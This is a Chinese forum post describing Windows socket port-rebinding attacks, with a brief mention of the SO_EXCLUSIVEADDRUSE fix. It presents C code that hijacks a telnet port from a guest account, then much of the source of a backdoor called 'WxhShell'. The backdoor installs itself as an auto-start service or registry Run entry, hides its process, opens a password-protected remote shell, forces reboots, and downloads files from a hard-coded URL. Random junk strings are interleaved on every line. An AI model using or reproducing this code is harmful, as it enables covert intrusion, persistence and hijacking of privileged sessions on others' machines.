社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12288阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hHt.N o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L8;`*H  
]~WIGl"g  
  saddr.sin_family = AF_INET; 8BIPEY -I?  
Xp^>SSt:4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B]D51R\}VE  
X bV?=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -r_Pp}s  
=c[mch%E  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d[(%5pw~zL  
-mZ{.\9  
  这意味着什么?意味着可以进行如下的攻击: Erl@] P4  
or` "{wop  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L'BzefU;04  
TI'~K}Te  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $EG<LmC-Q  
'bef3P9`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {.,y v>%  
_*(:6,8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  WtSlD9 h  
7_7^&.Hh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {*|$@%y!  
Z=?qf$.}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 avv/mEf-f  
/3vj`#jD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4p&SlJ  
nYY'hjZ  
  #include MU_ >+Wnf  
  #include b~G|Bhxa  
  #include B gG+  
  #include    0xutG/-&N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   64!V8&Ay  
  int main() {Q L qf   
  { )3_g&&  
  WORD wVersionRequested; gtP;Qw'  
  DWORD ret; Kib?JRYt  
  WSADATA wsaData; l\-(li H  
  BOOL val; \=g%W^i  
  SOCKADDR_IN saddr; r(=3yd/G$  
  SOCKADDR_IN scaddr; 01^W Py9l  
  int err; j@s,5:;[  
  SOCKET s; \-s'H:  
  SOCKET sc; 3412znM&  
  int caddsize; "V_PWEi  
  HANDLE mt; #^/&fdK~A  
  DWORD tid;   Fx*IeIs(:~  
  wVersionRequested = MAKEWORD( 2, 2 ); mCpoaGV_  
  err = WSAStartup( wVersionRequested, &wsaData ); kA:cz$ )  
  if ( err != 0 ) { g>R md[!/  
  printf("error!WSAStartup failed!\n"); d3C*]|gQ  
  return -1; QO~ TuC  
  } T1b9Zqc)f  
  saddr.sin_family = AF_INET; =mk7'A>l  
   3?(||h{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `S7${0e  
?+#E&F  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >7V&pH'  
  saddr.sin_port = htons(23); M*c`@\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hE/y"SP3  
  { I1(, J  
  printf("error!socket failed!\n"); SY2B\TV  
  return -1; 8:A6Ew&\]O  
  } KH&xu,I  
  val = TRUE; 2? 7a\s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C44 Dz.rs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l>9ZAI\^  
  { m; LeaD}0  
  printf("error!setsockopt failed!\n");  HPj7i;?O  
  return -1; f&>Q 6 {*]  
  } Om2 )$(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L7*~8Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BT+ws@|[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'x10\Q65[  
\bb,gRfP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !$+J7\& 7p  
  { p.1|bXY`  
  ret=GetLastError(); M+^+u 1QQ0  
  printf("error!bind failed!\n"); \G*vY#]  
  return -1; (sn|`k3I  
  } 7[V'3  
  listen(s,2); Z)(C7,Xu  
  while(1) /T*]RO4%>]  
  { sOW-GWSE<  
  caddsize = sizeof(scaddr); ;z7iUke0%  
  //接受连接请求 'bg%9}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9W7H",wR  
  if(sc!=INVALID_SOCKET) B)"WG7W E  
  { gGdZ}9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S*CRVs  
  if(mt==NULL) Kc\0-3 Z  
  { ziy~~J  
  printf("Thread Creat Failed!\n"); zn3i2MWS  
  break; [w~1e)D  
  } e:.Xs  
  } _W*3FH  
  CloseHandle(mt); ,[^P  
  } \Jv6Igu  
  closesocket(s); PHD$E s  
  WSACleanup(); 4oOe  
  return 0; 58MBG&a%  
  }   YKUs>tQ!  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]0dp^%  
  { R m *"SG  
  SOCKET ss = (SOCKET)lpParam; `h Y:F(  
  SOCKET sc; U]ouBG8/  
  unsigned char buf[4096]; +Mv0X%(N  
  SOCKADDR_IN saddr; `^afbW  
  long num; J2H8r 'T  
  DWORD val; J(-#(kMyf  
  DWORD ret; G(4:yK0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G#CWl),=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tL;;Yt  
  saddr.sin_family = AF_INET; 7IZ(3B<87t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q^dI!93n|  
  saddr.sin_port = htons(23); ScfW;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 12E@9s$Z  
  { +2W#= G  
  printf("error!socket failed!\n"); %-T]!3"n  
  return -1; Ar=pzQ<Z{  
  } T cSj `-  
  val = 100; -D.6@@%Kc}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JT<Ia  
  { >1mCjP  
  ret = GetLastError(); o,Ew7~u  
  return -1; XUUS N  
  } Khw!+!(H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k2*^W&Z  
  { 6576RT  
  ret = GetLastError(); R_ 4600  
  return -1; G m<t2Csn  
  } Ra_6}k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0/(YH  
  { o*I-~k  
  printf("error!socket connect failed!\n"); {q8V  
  closesocket(sc); R`>E_SY  
  closesocket(ss); l=EIbh  
  return -1; kRE^G*?  
  } UXa3>q>  
  while(1) (g~&$&pa  
  { FJ>| l#nO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +5);"71  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;Cyt2]F  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &g@?{5FP  
  num = recv(ss,buf,4096,0); UwdcU^xt9  
  if(num>0) `t ZvIy*  
  send(sc,buf,num,0); :fpYraBM  
  else if(num==0) /k}v m3  
  break; |n~,$  
  num = recv(sc,buf,4096,0); O2Rv^la  
  if(num>0) S <|e/![@  
  send(ss,buf,num,0); 0-4WLMx  
  else if(num==0) XRj<2U 5  
  break; lgA9p 4-  
  } "vjz $.  
  closesocket(ss); a*S4rq@  
  closesocket(sc); R[Kyq|UyVr  
  return 0 ; aCFO ]  
  } 0=(5C\w2  
?exV:OKLb  
WZ"x\K-;  
========================================================== r#3_F=xL5  
b^5rV5d  
下边附上一个代码,,WXhSHELL MWsBZJRr  
YJXh|@LT  
========================================================== |'mgo  
.wS' Xn&  
#include "stdafx.h" xk.\IrB_  
`;4zIBJ  
#include <stdio.h> jcOxtDTSW  
#include <string.h> C8@SuJ  
#include <windows.h> ;9 XM s)  
#include <winsock2.h> Y R#_<o  
#include <winsvc.h> S1;#5 8  
#include <urlmon.h> qV^,muyoG  
VwHTtZ  
#pragma comment (lib, "Ws2_32.lib") f#/v^Ql*  
#pragma comment (lib, "urlmon.lib") q}tLOVu1  
hU+sg~E  
#define MAX_USER   100 // 最大客户端连接数 [D?RL `ZF  
#define BUF_SOCK   200 // sock buffer )iluu1,o  
#define KEY_BUFF   255 // 输入 buffer }N*6xr*X+  
i@Q)`>4  
#define REBOOT     0   // 重启 {&"rv<p  
#define SHUTDOWN   1   // 关机 -&D~TL#  
[|xHXcW  
#define DEF_PORT   5000 // 监听端口 x:"_B  
44mYs`]  
#define REG_LEN     16   // 注册表键长度 |AuN5|obI  
#define SVC_LEN     80   // NT服务名长度 Nx;U]O6A  
a` 95eL}  
// 从dll定义API R.*KaCA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wp-*S}TT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -GDX#A-J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -`FTWH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KE&Y~y8O\  
\ d+&&ns  
// wxhshell配置信息 *>9#a0cp  
struct WSCFG { X9#Od9cNaC  
  int ws_port;         // 监听端口 'X"@C;q  
  char ws_passstr[REG_LEN]; // 口令 ^zO%O653  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pfe&wA't  
  char ws_regname[REG_LEN]; // 注册表键名 NHPpHY3^.  
  char ws_svcname[REG_LEN]; // 服务名 *pyi;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2zh?]if  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b,$H!V *  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,c YU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ul>$vUbyf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <<@$0RW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8@|+- )t  
[&j!g  
}; =Qp~@k=2  
| ?~-k[|  
// default Wxhshell configuration a(NN%'fDD  
struct WSCFG wscfg={DEF_PORT, FG38)/  
    "xuhuanlingzhe", %=S~[&8C  
    1, aYkm]w;C  
    "Wxhshell", '|G_C%,B  
    "Wxhshell", o2@8w[r  
            "WxhShell Service", O (<Wn-  
    "Wrsky Windows CmdShell Service", _}EGk4E  
    "Please Input Your Password: ", "+[:\  
  1, `BmAu[(e&  
  "http://www.wrsky.com/wxhshell.exe", ~}i &gd|(  
  "Wxhshell.exe" \@8$tQCZ  
    }; {Fta4D_1N  
8h78Zb&[  
// 消息定义模块 ^EN_C<V;"d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #| `W ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ` Cdk b5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CY? ]o4IV  
char *msg_ws_ext="\n\rExit."; [kMXr'TyPX  
char *msg_ws_end="\n\rQuit."; W r );A{  
char *msg_ws_boot="\n\rReboot..."; -z-58FLlO  
char *msg_ws_poff="\n\rShutdown..."; ~2beVQ(U  
char *msg_ws_down="\n\rSave to "; bBW(# Q_a  
-:Nowb  
char *msg_ws_err="\n\rErr!"; iKu[j)F  
char *msg_ws_ok="\n\rOK!"; hT>h  
5- 0  
char ExeFile[MAX_PATH]; Ge8&_7  
int nUser = 0; /Tv=BXL-  
HANDLE handles[MAX_USER]; t IdH?x  
int OsIsNt; 0e^j:~*  
#U{^L{1Gx  
SERVICE_STATUS       serviceStatus; 3o%JJIn&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3x#=@i  
cmmH)6c>  
// 函数声明 @f{yx\u/  
int Install(void); KN'l/9.  
int Uninstall(void); Vrf2%$g  
int DownloadFile(char *sURL, SOCKET wsh); [9u/x%f(  
int Boot(int flag); #?k$0|60  
void HideProc(void); cYF R.~p  
int GetOsVer(void); +M/04  
int Wxhshell(SOCKET wsl); A=o p R  
void TalkWithClient(void *cs); ?<YtlqL  
int CmdShell(SOCKET sock); i44UqEb  
int StartFromService(void); 7v}4 Pl,$4  
int StartWxhshell(LPSTR lpCmdLine); c (O+s/  
z1aApS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WIb\+!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WLV'@$<|(  
4tz8^z[Kw  
// 数据结构和表定义 Uq 2Uv  
SERVICE_TABLE_ENTRY DispatchTable[] = Ka1 F7b  
{ 5@" bx=  
{wscfg.ws_svcname, NTServiceMain}, 6d&BN7B  
{NULL, NULL} N{IY \/;\  
}; KFor~A# D  
&THM]3:  
// 自我安装 0|nvi=4~e|  
int Install(void) /ZlW9|  
{ 8)&H=#E  
  char svExeFile[MAX_PATH]; mDC{c ?  
  HKEY key; w1F7gd  
  strcpy(svExeFile,ExeFile); :W<ag a;J  
c|x:]W'ij  
// 如果是win9x系统,修改注册表设为自启动 _- H uO/  
if(!OsIsNt) { BA' ($D>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [aU#"k)M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8XD9fB^  
  RegCloseKey(key); Z'6 o$Xv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #\"8sY,j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y.sf^}  
  RegCloseKey(key); Unc;@=c  
  return 0; .J#xlOa-  
    } AMA :hQ  
  } 1!/cd;{B  
} x2ln$dSy7  
else { BP6;dF5 E  
c5>&~^~>Tx  
// 如果是NT以上系统,安装为系统服务 pMM-LY7%{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KOv ar0  
if (schSCManager!=0) , d ?4"8_  
{ %4Ylq|d  
  SC_HANDLE schService = CreateService @Ytsb!!  
  ( k ~lj:7g~  
  schSCManager, G'q7@d {'  
  wscfg.ws_svcname, ]^Z7w`=%5  
  wscfg.ws_svcdisp, Pk T&zSQA  
  SERVICE_ALL_ACCESS, W%hdS<b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i)Vqvb0Q  
  SERVICE_AUTO_START, b{)9 ?%_  
  SERVICE_ERROR_NORMAL, #dE#w#=r  
  svExeFile, J\b,rOIf  
  NULL, m{`O.6#O  
  NULL, P.$U6cq  
  NULL, #!u P >/  
  NULL, ?q1&(g]qO  
  NULL 3Zs|arde2  
  ); ca*USM  
  if (schService!=0) ndT:,"s  
  { L.$9ernVY  
  CloseServiceHandle(schService); M.zS +  
  CloseServiceHandle(schSCManager); s<5q%5ix3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SE)_5|k*  
  strcat(svExeFile,wscfg.ws_svcname); =H.l/'/Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {cnya*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 38b%km#  
  RegCloseKey(key); H@bra~k-  
  return 0; Bs =V-0  
    } m=Y9sB  
  } [Tby+pC  
  CloseServiceHandle(schSCManager); h`Vb#5 ik  
} GeWB"(t  
} E)3B)(@&P  
[bUM x  
return 1; +2O('}t  
} m <IPi <  
l <<0:~+q  
// 自我卸载 QbP W_)N  
int Uninstall(void) kX zm  
{ #R4Mv(BG  
  HKEY key; I: U/%cr,  
xcnHj1r-o'  
if(!OsIsNt) { (l{+ T#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 54WM*FZ  
  RegDeleteValue(key,wscfg.ws_regname); $"0 t1  
  RegCloseKey(key); Q~G+YjM3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xyj)W  
  RegDeleteValue(key,wscfg.ws_regname); 4*&x% ~*  
  RegCloseKey(key); yZ~<! 5.P  
  return 0; EXH{3E54)`  
  } SJoQaR,)>  
} yc|C}oQF  
} "5 PP<A,F(  
else { #B8`qFpQC  
}oigZI(1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DalQ.   
if (schSCManager!=0) y A?>v'K  
{ |Yh-`~~A"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5'@J}7h  
  if (schService!=0) bYQ h{q  
  { 0bQaXxt|p  
  if(DeleteService(schService)!=0) { @;qC % +^  
  CloseServiceHandle(schService); {S%)GvrT  
  CloseServiceHandle(schSCManager); yT`[9u,  
  return 0; 0a QtJ0e16  
  } kFgN^v^t  
  CloseServiceHandle(schService); D@uw[;Xb5  
  } `Gx"3ZUn  
  CloseServiceHandle(schSCManager); j|FGb:  
} +P/"bwv0  
} Wa #,>  
>9a%"<(2#  
return 1; V"%2Tz  
} I+D`\OSL  
KSIH1E  
// 从指定url下载文件 Kv:UQdnU[  
int DownloadFile(char *sURL, SOCKET wsh) #i-!:6sLA  
{ m?'5*\(ST  
  HRESULT hr; J_}&Btb)e  
char seps[]= "/"; Xx[ L K  
char *token; p|,K2^?Y  
char *file; auAST;"Z8  
char myURL[MAX_PATH]; ><"5 VwR  
char myFILE[MAX_PATH]; F+*>q  
=x> z|1  
strcpy(myURL,sURL); 1)?^N`xF  
  token=strtok(myURL,seps); {k1s@KXtd  
  while(token!=NULL) @I\Z2-J  
  { jz't!wj  
    file=token; $ ;>,  
  token=strtok(NULL,seps); l~Kn-S{  
  } &UP@Sr0D7  
B7nMy oj  
GetCurrentDirectory(MAX_PATH,myFILE); %2^C  
strcat(myFILE, "\\"); 5IW^^<kiu  
strcat(myFILE, file); Ox?LVRvxI  
  send(wsh,myFILE,strlen(myFILE),0); E87/B%R  
send(wsh,"...",3,0); iN*d84KTP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); to[EA6J8l  
  if(hr==S_OK) +1Si>I  
return 0; BS;rit:  
else ABNsi$]r0  
return 1; -le:0NUwI  
mz1Xk ]nE  
} ' :g8a=L  
`=uCp^ +v  
// 系统电源模块 mvVVPf9  
int Boot(int flag) D4s*J21)D  
{ .!KlN%As  
  HANDLE hToken; [4 g5 {eX  
  TOKEN_PRIVILEGES tkp; .2Q`. o)  
`PSr64h:D  
  if(OsIsNt) { Y((z9-`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *u>2"!+Ob  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eG|e1tK+  
    tkp.PrivilegeCount = 1; NhCO C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fdho`juFa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^%M!!wlUH  
if(flag==REBOOT) { C+P}R]cT"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VPys  
  return 0; ZgtW  
} 4@5rR~DQq  
else { 2c5>0f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TMKemci  
  return 0; 'gUHy1p  
} vnk"0d.  
  } fB1JU1  
  else { WaWT 5|A  
if(flag==REBOOT) { ]j*o&6cQf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zVxiCyU  
  return 0; [H0jDbN  
} tFwQ /  
else { \b.2f+;3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eQcy'GA06  
  return 0; Lr)h>j6\  
} L]9!-E  
} m4 E 6L  
hrZ~7 0r  
return 1; 1:My8  
} cIl^5eE^Pq  
`!qWHm6I*  
// win9x进程隐藏模块 ?-#w [J'6  
void HideProc(void) RduA0@g0  
{ (d^pYPr{  
~S|Vd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X-Xf6&Uz  
  if ( hKernel != NULL ) dAEz hR[=  
  { /,Ln)?eD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]_d(YHYf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5tP0dQYd  
    FreeLibrary(hKernel); `U2PlCf |  
  } /nb(F h|{T  
3(^9K2.s}  
return; lxbbyy25  
} PwF}yx kI  
N g'f u|  
// 获取操作系统版本 -jC. dz  
int GetOsVer(void) >P\T nb"Q\  
{ FX}<F0([?  
  OSVERSIONINFO winfo; '(2G qX!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,>{4*PM(  
  GetVersionEx(&winfo); X?>S24I"9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tjDVU7um  
  return 1; ed{z^!w4  
  else }5Y.N7F  
  return 0; YvBUx#\  
} 1(q!.lPc  
H1 \~T  
// 客户端句柄模块 >%#J8  
int Wxhshell(SOCKET wsl) deHBY4@  
{ ywq{9)vq  
  SOCKET wsh; Esw&ScBOP  
  struct sockaddr_in client; jXZKR(L  
  DWORD myID; HP]Xh~aP  
 V}8J&(\  
  while(nUser<MAX_USER) >/e#Z h  
{ ]lz,?izMR  
  int nSize=sizeof(client); >:OOuf#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YI%7#L7C  
  if(wsh==INVALID_SOCKET) return 1; 9!bD|-6y  
((.PPOdJV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gl]{mUZz}  
if(handles[nUser]==0) c0Q`S"o+  
  closesocket(wsh); M_9|YjwS  
else =b`>ggw#  
  nUser++; ,Oxdqxu7  
  } @Z3b^G[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6K`frt  
7acAU{Rr  
  return 0; ,wX/cUyZ  
} mXhr: e  
E8%O+x}  
// 关闭 socket _$cQAH0 E  
void CloseIt(SOCKET wsh) ,j&o H$mW  
{ #7Qn\C2  
closesocket(wsh); ]t(g7lc}U  
nUser--; /&kZ)XOi  
ExitThread(0); Yn J=&21  
} ?_HTOOa  
!o*oT}6n  
// 客户端请求句柄 9oc[}k-M  
void TalkWithClient(void *cs) 4+v~{  
{ %#7M~RB[  
1ed#nB %  
  SOCKET wsh=(SOCKET)cs; yD(/y"P,9  
  char pwd[SVC_LEN]; 3kKXzIh  
  char cmd[KEY_BUFF]; -MB ,]m  
char chr[1]; b?w4Nx#  
int i,j;  |2n2  
>{m>&u;Cc  
  while (nUser < MAX_USER) { 0Fbq/63  
rTmcP23]  
if(wscfg.ws_passstr) { l l&iMj]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >St  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c:=Z<0S;  
  //ZeroMemory(pwd,KEY_BUFF); I*ho@`U  
      i=0; vKaX,)P;?  
  while(i<SVC_LEN) { nH[@EL  
g@nE7H1V  
  // 设置超时 S;|%'Sn|j9  
  fd_set FdRead; }O o  
  struct timeval TimeOut; zlSwKd(  
  FD_ZERO(&FdRead); X_%78$N-a`  
  FD_SET(wsh,&FdRead); ;K:.*sAa  
  TimeOut.tv_sec=8; VLQfuh;  
  TimeOut.tv_usec=0; g1&GX(4[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \;P Bx &  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o<C~67o_  
]t #,{%h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4<lZ;M"  
  pwd=chr[0]; 2H]&3kM3X  
  if(chr[0]==0xd || chr[0]==0xa) { 3FNj~=N  
  pwd=0; OsC1('4@  
  break; ={zYcVI  
  } ?dxhe7m  
  i++; [dt1%DD`M  
    } c&'T By  
y#x]?%m  
  // 如果是非法用户,关闭 socket Dm4\Rld{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8dL(cC  
} !sR`]0  
E; RI.6y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OM, uR3,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p=Vm{i7  
eRv3ZHH  
while(1) { s \kkD *  
RQe#X6'h  
  ZeroMemory(cmd,KEY_BUFF); vLkZC  
a<vCAFQ  
      // 自动支持客户端 telnet标准   -.z~u/uL  
  j=0; V$:v~*Y9  
  while(j<KEY_BUFF) { DoImWNLo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kyY tL_SD  
  cmd[j]=chr[0]; RYvS,hf 6z  
  if(chr[0]==0xa || chr[0]==0xd) { 4; &(  
  cmd[j]=0; 8c~b7F \  
  break; r--"JO%2  
  } \&W~nYXq"  
  j++; RJd55+h  
    } [kC-g @  
g{a_{P  
  // 下载文件 (?J&Ar0  
  if(strstr(cmd,"http://")) { FQ O6w'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 53l9s <bOQ  
  if(DownloadFile(cmd,wsh)) :r#FI".qx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a2p<HW;)m  
  else (wbG0lu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O<o_MZN  
  } ^Z}INUv]7  
  else { V1"+4&R^T_  
'f5,%e2#  
    switch(cmd[0]) { ]2Lwd@  
  [qid4S~r,&  
  // 帮助 vT[%*)`  
  case '?': { D+"5R5J",  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /4=O^;   
    break; e'7!aysj  
  } \mv7"TM  
  // 安装 GS)l{bS#[O  
  case 'i': { iyj&O"  
    if(Install()) ,gRsbC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WU}JArX9  
    else 'MsxZqW"~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4pA(.<#A  
    break; 5GpR N  
    } ]A!Gr(FHQ  
  // 卸载 |yQ3H)qB#  
  case 'r': { #x "pG  
    if(Uninstall()) c: #1Aym  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c t,p?[Q  
    else tJg   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yQCfn1a)  
    break; =DF7l<&km  
    } [n66ZY#U]  
  // 显示 wxhshell 所在路径 +KD~/}C%-  
  case 'p': { 4d6F4G4U  
    char svExeFile[MAX_PATH]; vp-)$f&  
    strcpy(svExeFile,"\n\r"); Pk*EnA)  
      strcat(svExeFile,ExeFile); 5z#>>|1>#  
        send(wsh,svExeFile,strlen(svExeFile),0); -*tP_=-Dg  
    break; \.Q"fd?a_D  
    } a"hlPJlG  
  // 重启 WO_cT26Y  
  case 'b': { &a-:ZA@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mJ Wl#3  
    if(Boot(REBOOT)) Z mYp!B_~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9h~>7VeZ)  
    else { A!@D }n  
    closesocket(wsh); P3@[x  
    ExitThread(0); VN;Sz,1Z  
    } q=|>r n_  
